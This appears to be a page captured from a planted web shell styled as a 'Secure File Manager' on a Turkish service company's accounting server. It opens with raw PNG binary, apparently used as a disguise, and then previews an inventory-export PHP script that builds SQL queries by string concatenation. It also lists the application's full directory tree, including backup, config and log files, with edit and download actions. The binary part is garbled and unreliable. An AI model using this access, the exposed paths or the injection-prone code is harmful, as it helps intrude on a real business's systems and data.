PNG  IHDR* pHYs+ IDATx]n#; cdLb Ǚ[at¤_:uP}>!Usă cag޿ ֵNu`ݼTâabO7uL&y^wFٝA"l[|ŲHLN밪4*sG3|Dv}?+y߉{OuOAt4Jj.u]Gz*҉sP'VQKbA1u\`& Af;HWj hsO;ogTu uj7S3/QzUr&wS`M$X_L7r2;aE+ώ%vikDA:dR+%KzƉo>eOth$z%: :{WwaQ:wz%4foɹE[9<]#ERINƻv溂E%P1i01 |Jvҗ&{b?9g=^wζXn/lK::90KwrюO\!ջ3uzuGv^;騢wq<Iatv09:tt~hEG`v;3@MNZD.1]L:{ծI3`L(÷ba")Y.iljCɄae#I"1 `3*Bdz>j<fU40⨬%O$3cGt]j%Fߠ_twJ;ABU8vP3uEԑwQ V:h%))LfraqX-ۿX]v-\9I gl8tzX ]ecm)-cgʒ#Uw=Wlێn(0hPP/ӨtQ“&J35 $=]r1{tLuǮ*i0_;NƝ8;-vݏr8+U-kruȕYr0RnC]*ެ(M:]gE;{]tg(#ZJ9y>utRDRMdr9㪩̞zֹb<ģ&wzJM"iI( .ꮅX)Qw:9,i좜\Ԛi7&N0:asϓc];=ΗOӣ APqz93 y $)A*kVHZwBƺnWNaby>XMN*45~ղM6Nvm;A=jֲ.~1}(9`KJ/V F9[=`~[;sRuk]rєT!)iQO)Y$V ی ۤmzWz5IM Zb )ˆC`6 rRa}qNmUfDsWuˤV{ Pݝ'=Kֳbg,UҘVz2ﴻnjNgBb{? ߮tcsͻQuxVCIY۠:(V뺕 ٥2;t`@Fo{Z9`;]wMzU~%UA蛚dI vGq\r82iu +St`cR.6U/M9IENDB` REDROOM
REDROOM
PHP 5.6.40
Preview: stok_excel.php Size: 3.01 KB
/home/ankaservis/servis.ankaservis.com/muhasebe/stok_excel.php
<?php

require_once("sistem/ayarlar.php"); 
mysql_query("SET NAMES 'utf8'");
mysql_query("SET CHARACTER SET utf8");  
date_default_timezone_set("Europe/Istanbul");
		$bugun	=date("d-m-Y-h-s");
header('Content-Encoding: UTF-8');
		header('Content-Type: text/plain; charset=utf-8');
$filename = "StokKartlari-".$bugun.".xls"; // dosya ismi
header("Content-Disposition: attachment; filename=".urlencode($filename)."");
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");;



		echo "\xEF\xBB\xBF"; // UTF-8 BOM
		
		$say=6;
		
		echo '
			<table border="1">
				<tr>
					<th style="background-color:#000; color:#fff; text-align:center; font-size:12px;" width="300" height="47">Stok Kodu (BARCODE)</th>
					<th style="background-color:#000; color:#fff; text-align:center; font-size:12px;" width="370">Stok Adı</th>
					<th style="background-color:#000; color:#fff; text-align:center; font-size:12px;" width="100">Alış Birim Fiyatı</th>
					<th style="background-color:#000; color:#fff; text-align:center; font-size:12px;" width="100">Satış Birim Fiyatı</th>
					<th style="background-color:#000; color:#fff; text-align:center; font-size:12px;" width="300">Açıklama</th>
					<th style="background-color:#000; color:#fff; text-align:center; font-size:12px;" width="300">Stok Durumu</th>
					
				</tr>
		';
		$sql = mysql_query("SELECT * FROM stokkartlari ");
while($urun = mysql_fetch_assoc($sql)){ 
$stoksatis = mysql_query("SELECT SUM(adet) as adet FROM stokfishareketi WHERE urunkodu='".$urun["urunkodu"]."' and tur='1' ");
		$rowsatis = mysql_fetch_array($stoksatis); 
		$satistopla=$rowsatis["adet"];	
		
		$stokalis = mysql_query("SELECT SUM(adet) as adet FROM stokfishareketi WHERE urunkodu='".$urun["urunkodu"]."' and tur='2' ");
		$rowalis = mysql_fetch_array($stokalis); 
		$alistopla=$rowalis["adet"];	
		
		$stokadeti=$alistopla-$satistopla;
		if($stokadeti<"6")
		{
			
			
			
			$stokyaz="<span style='color:red'>".$stokadeti." (Kritik!)";
		}
		if($stokadeti>"5")
		{
			$stokyaz=$stokadeti;
		}

	$data[]=array(
    $urun["urunkodu"],
    $urun["urunadi"],
    
    $urun["birimmaliyet"],
    $urun["birimsatis"],
    $urun["aciklama"],
	$stokyaz
    
    
   );
   }

		
		foreach($data as $val){
			
			echo '<tr>';
			for($i=0; $i < $say; $i++){
				if($i == 1){
					$ortaliYazi = "text-align:left;";
				}elseif($i == 2){
					$ortaliYazi = "text-align:left;";
				}elseif($i == 3){
					$ortaliYazi = "text-align:left;";
				}elseif($i == 4){
					$ortaliYazi = "text-align:left;";
				}elseif($i == 5){
					$ortaliYazi = "text-align:left;";
				}elseif($i == 6){
					$ortaliYazi = "text-align:left;";
				}else{
					$ortaliYazi  = "";
				}
				
				
				if(in_array($i,$replaceDotCol)){
					echo '<td style="color:#000; vertical-align:middle; '.$ortaliYazi.'" height="32" >'.$val[$i].'</td>';
				}else{
					echo '<td style="color:#000; vertical-align:middle; '.$ortaliYazi.'" height="32" >'.$val[$i].'</td>';
				}
			}
			echo '</tr>';
		}





?>

Directory Contents

Dirs: 23 × Files: 138
Name Size Perms Modified Actions
ajax DIR
- drwxr-xr-x 2025-11-13 03:55:32
Edit Download
barkod DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
blok DIR
- drwxr-xr-x 2025-11-13 17:05:02
Edit Download
config DIR
- drwxr-xr-x 2025-11-14 06:08:36
Edit Download
css DIR
- drwxr-xr-x 2025-11-13 09:56:00
Edit Download
db DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
docs DIR
- drwxr-xr-x 2025-11-14 08:05:06
Edit Download
Excel DIR
- drwxr-xr-x 2022-08-10 21:02:54
Edit Download
font DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
fonts DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
giris DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
holder.js DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
images DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
img DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
js DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
logs DIR
- drwxr-xr-x 2025-11-14 06:20:50
Edit Download
Pager DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
scopbin DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
sf DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
sistem DIR
- drwxr-xr-x 2025-11-14 03:27:46
Edit Download
Sorgula DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
yedekle_Xc DIR
- drwxr-xr-x 2025-11-14 06:31:08
Edit Download
yuklenen DIR
- drwxr-xr-x 2022-08-10 21:02:56
Edit Download
.htaccess
1.50 KB lrw-r--r-- 2025-11-13 16:26:02
Edit Download
30ustu.php
9.45 KB lrw-r--r-- 2025-11-13 12:19:02
Edit Download
ajax-loader.gif
3.41 KB lrw-r--r-- 2016-07-25 10:53:34
Edit Download
ara.php
4.29 KB lrw-r--r-- 2025-11-13 15:41:42
Edit Download
arafatura.php
1.03 KB lrw-r--r-- 2025-11-13 15:41:42
Edit Download
aramasonuc.php
18.59 KB lrw-r--r-- 2025-11-13 15:41:42
Edit Download
aramatel.php
18.63 KB lrw-r--r-- 2025-11-13 15:41:42
Edit Download
araseri.php
1.02 KB lrw-r--r-- 2025-11-13 15:41:42
Edit Download
aratakip.php
1.04 KB lrw-r--r-- 2025-11-13 15:41:42
Edit Download
ay.php
9.44 KB lrw-r--r-- 2025-11-13 12:19:02
Edit Download
ayarlar.php
17.47 KB lrw-r--r-- 2025-11-13 04:32:24
Edit Download
ayarlar_backup.php
17.37 KB lrw-r--r-- 2025-08-30 03:25:02
Edit Download
ayarlar_simple.php
6.53 KB lrw-r--r-- 2025-08-30 03:35:16
Edit Download
carihareket_yazdir.php
9.58 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
cari_tarih_sorgu.php
11.44 KB lrw-r--r-- 2025-11-13 07:58:26
Edit Download
class.phpmailer.php
88.86 KB lrw-r--r-- 2025-11-14 06:59:02
Edit Download
class.smtp.php
30.45 KB lrw-r--r-- 2025-11-14 06:59:02
Edit Download
config.inc.php
539 B lrw-r--r-- 2025-11-14 06:08:44
Edit Download
dashboard_fast.php
4.85 KB lrw-r--r-- 2025-08-30 02:05:10
Edit Download
dashboard_personel.php
12.24 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
dashboard_yonetici.php
16.04 KB lrw-r--r-- 2025-08-30 03:21:46
Edit Download
debug_production.php
3.66 KB lrw-r--r-- 2025-11-14 06:34:56
Edit Download
deftergiris.php
27.48 KB lrw-r--r-- 2025-11-14 07:11:36
Edit Download
deftersorgu.php
28.79 KB lrw-r--r-- 2025-11-14 07:11:36
Edit Download
depo.php
12.89 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
depo_analiz.php
12.90 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
depo_hareketleri.php
22.67 KB lrw-r--r-- 2025-11-13 14:41:24
Edit Download
depo_hareketleri_sorgu.php
23.73 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
depo_nakil.php
22.58 KB lrw-r--r-- 2025-11-13 14:41:24
Edit Download
depo_stok_kodu_sorgu.php
23.21 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
error_log
2.67 KB lrw-r--r-- 2025-11-16 13:10:55
Edit Download
faturam.php
22.77 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
fetch_pages.php
5.08 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
fetch_pagesarama.php
6.06 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
fetch_pages_tumu.php
4.96 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
fis.php
6.02 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
formhesap.php
3.52 KB lrw-r--r-- 2025-11-13 07:13:06
Edit Download
formhesap2.php
4.05 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
giris.php
4.30 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
girisler.php
22.70 KB lrw-r--r-- 2025-11-14 05:39:58
Edit Download
girisler_sorgu.php
25.04 KB lrw-r--r-- 2025-11-13 15:41:42
Edit Download
gorusmeekle.php
1.02 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
gun.php
12.08 KB lrw-r--r-- 2025-11-13 15:46:24
Edit Download
hafta.php
9.44 KB lrw-r--r-- 2025-11-13 12:19:02
Edit Download
hatirlatmalar.php
16.80 KB lrw-r--r-- 2025-11-14 08:05:36
Edit Download
hatirlatma_duzen.php
14.29 KB lrw-r--r-- 2025-11-14 08:05:30
Edit Download
hesap_nakil.php
2.79 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
hesap_nakil_personel.php
2.88 KB lrw-r--r-- 2025-11-14 07:27:20
Edit Download
index.php
35.92 KB lrw-r--r-- 2025-11-14 04:55:04
Edit Download
index_backup.php
46.63 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
index_simple.php
576 B lrw-r--r-- 2025-08-29 14:25:52
Edit Download
islem.php
256 B lrw-r--r-- 2025-08-29 14:25:52
Edit Download
jquery-1.9.0.js
261.05 KB lrw-r--r-- 2016-07-25 10:53:52
Edit Download
jquery-ui-1.10.0.custom.js
422.49 KB lrw-r--r-- 2016-07-25 10:53:58
Edit Download
jquery-ui-1.10.0.custom.min.css
26.42 KB lrw-r--r-- 2016-07-25 10:53:54
Edit Download
jsDatePick.css
8.21 KB lrw-r--r-- 2016-07-25 10:53:54
Edit Download
jsDatePick.min.1.1.js
27.95 KB lrw-r--r-- 2016-07-25 10:53:56
Edit Download
kasadefteri.php
27.06 KB lrw-r--r-- 2025-11-14 07:11:36
Edit Download
kasa_defteri_ajax1.php
7.09 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
kasa_hareketleri.php
28.29 KB lrw-r--r-- 2025-11-13 05:59:52
Edit Download
kasa_rapor.php
32.32 KB lrw-r--r-- 2025-11-13 13:57:56
Edit Download
kasa_rapor_sorgu.php
31.08 KB lrw-r--r-- 2025-11-14 07:11:36
Edit Download
lisans.php
466 B lrw-r--r-- 2025-08-29 14:25:52
Edit Download
log_analiz.php
15.21 KB lrw-r--r-- 2025-11-14 04:53:00
Edit Download
markaListele.php
11.28 KB lrw-r--r-- 2025-11-13 06:16:28
Edit Download
mesajlarim.php
6.78 KB lrw-r--r-- 2025-11-14 08:05:30
Edit Download
mesaj_oku.php
7.28 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
mesaj_yaz.php
6.94 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
Musteri.php
89.72 KB lrw-r--r-- 2025-11-14 06:46:04
Edit Download
MusteriEkle.php
23.22 KB lrw-r--r-- 2025-11-14 06:45:44
Edit Download
Musteriler.php
17.24 KB lrw-r--r-- 2025-11-14 05:39:58
Edit Download
Musterilerajax.php
18.05 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
Musteriler_tumu.php
18.07 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
Musteri_borc.php
17.65 KB lrw-r--r-- 2025-11-13 15:41:42
Edit Download
musteri_exel.php
1.01 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
mysqldump_error.log
375 B lrw-r--r-- 2020-06-16 03:54:24
Edit Download
mysql_wrapper.php
7.19 KB lrw-r--r-- 2025-11-14 05:26:10
Edit Download
ORNEK_MUSTERI_SABLONU.xls
19.50 KB lrw-r--r-- 2016-07-25 10:54:06
Edit Download
ORNEK_STOK_SABLONU.xls
19.00 KB lrw-r--r-- 2016-07-25 10:54:06
Edit Download
parcamodul.php
55.54 KB lrw-r--r-- 2025-11-13 08:16:22
Edit Download
perListele.php
10.67 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
personelis.php
12.47 KB lrw-r--r-- 2025-11-13 15:41:42
Edit Download
personelis_yazdir.php
8.96 KB lrw-r--r-- 2025-11-14 07:27:20
Edit Download
personel_defter_sorgu.php
30.11 KB lrw-r--r-- 2025-11-14 07:21:30
Edit Download
personel_excel.php
17.58 KB lrw-r--r-- 2025-11-14 07:27:20
Edit Download
personel_kasa.php
34.28 KB lrw-r--r-- 2025-11-14 07:11:36
Edit Download
personel_kasa_getir.php
17.23 KB lrw-r--r-- 2025-11-14 06:45:44
Edit Download
personel_kasa_giris.php
39.90 KB lrw-r--r-- 2025-11-14 07:27:20
Edit Download
personel_kasa_onaysiz.php
33.82 KB lrw-r--r-- 2025-11-14 07:27:20
Edit Download
personel_kasa_yazdir.php
11.28 KB lrw-r--r-- 2025-11-14 07:27:20
Edit Download
pesin_satis.php
18.78 KB lrw-r--r-- 2025-11-14 06:45:44
Edit Download
profil_resmim.php
8.43 KB lrw-r--r-- 2025-11-14 05:05:32
Edit Download
rapor_aylik_alislar.php
26.05 KB lrw-r--r-- 2025-11-13 14:24:40
Edit Download
rapor_aylik_satislar.php
26.07 KB lrw-r--r-- 2025-11-13 14:24:40
Edit Download
rapor_gunluk.php
29.31 KB lrw-r--r-- 2025-11-13 14:08:28
Edit Download
rapor_tarih_kasa.php
29.63 KB lrw-r--r-- 2025-11-13 14:15:10
Edit Download
refresh.png
832 B lrw-r--r-- 2016-07-25 10:54:10
Edit Download
rehberduzen.php
19.26 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
rehberekle.php
18.43 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
resimyukle.php
3.56 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
resimyukleser.php
3.57 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
security.php
910 B lrw-r--r-- 2025-08-29 14:25:52
Edit Download
serinoListele.php
6.15 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
serinosorgula.php
7.91 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
seri_liste.php
9.59 KB lrw-r--r-- 2025-11-13 15:41:42
Edit Download
ServisDuzen.php
22.15 KB lrw-r--r-- 2025-11-14 05:39:58
Edit Download
ServisDuzenpersonel.php
14.32 KB lrw-r--r-- 2025-11-14 07:27:20
Edit Download
servisekle.php
12.47 KB lrw-r--r-- 2025-11-14 07:11:36
Edit Download
sifre_degistir.php
8.26 KB lrw-r--r-- 2025-11-14 05:05:32
Edit Download
sortable.js
187.39 KB lrw-r--r-- 2016-07-25 10:54:16
Edit Download
stokalis_satis.php
20.10 KB lrw-r--r-- 2025-11-14 06:45:44
Edit Download
stokfis_list.php
23.85 KB lrw-r--r-- 2025-11-13 13:31:58
Edit Download
stokfis_list_personel.php
22.65 KB lrw-r--r-- 2025-11-14 07:27:20
Edit Download
stokguruplari.php
12.91 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
stokhareket.php
56.75 KB lrw-r--r-- 2025-11-13 05:05:10
Edit Download
stokkartduzenle.php
28.72 KB lrw-r--r-- 2025-11-13 15:00:32
Edit Download
stokkartekle.php
22.19 KB lrw-r--r-- 2025-11-13 14:52:04
Edit Download
stokkartiara.php
21.66 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
stokkartlari.php
21.39 KB lrw-r--r-- 2025-11-13 14:52:04
Edit Download
stokkartlari_depo.php
21.39 KB lrw-r--r-- 2025-11-13 14:41:24
Edit Download
stokkartlari_kritik.php
21.09 KB lrw-r--r-- 2025-11-14 08:02:42
Edit Download
stok_alis.php
19.79 KB lrw-r--r-- 2025-11-14 06:45:44
Edit Download
stok_excel.php
3.01 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
stok_fatura.php
23.49 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
stok_fis_sorgu.php
26.85 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
stok_fis_sorgu_personel.php
26.10 KB lrw-r--r-- 2025-11-14 07:27:20
Edit Download
stok_hareketleri.php
25.13 KB lrw-r--r-- 2025-11-13 14:52:04
Edit Download
stok_hareketleri_sorgu.php
26.53 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
stok_kodu_sorgu.php
24.88 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
stok_satis.php
19.79 KB lrw-r--r-- 2025-11-14 06:45:44
Edit Download
toplusms.php
31.08 KB lrw-r--r-- 2025-11-13 06:52:38
Edit Download
turListele.php
11.21 KB lrw-r--r-- 2025-11-13 06:19:58
Edit Download
veri_kontrol.php
242 B lrw-r--r-- 2025-08-29 14:25:52
Edit Download
vt_yedekleme_Xc.php
11.29 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
xls.php
17.99 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
xls_stok.php
16.99 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
yazdir.php
6.41 KB lrw-r--r-- 2025-08-29 14:25:52
Edit Download
yedekle_Xc.php
1.77 KB lrw-r--r-- 2025-11-14 06:10:32
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 REDROOM — Secure File Manager. All rights reserved. Built with ❤️ & Red Dark UI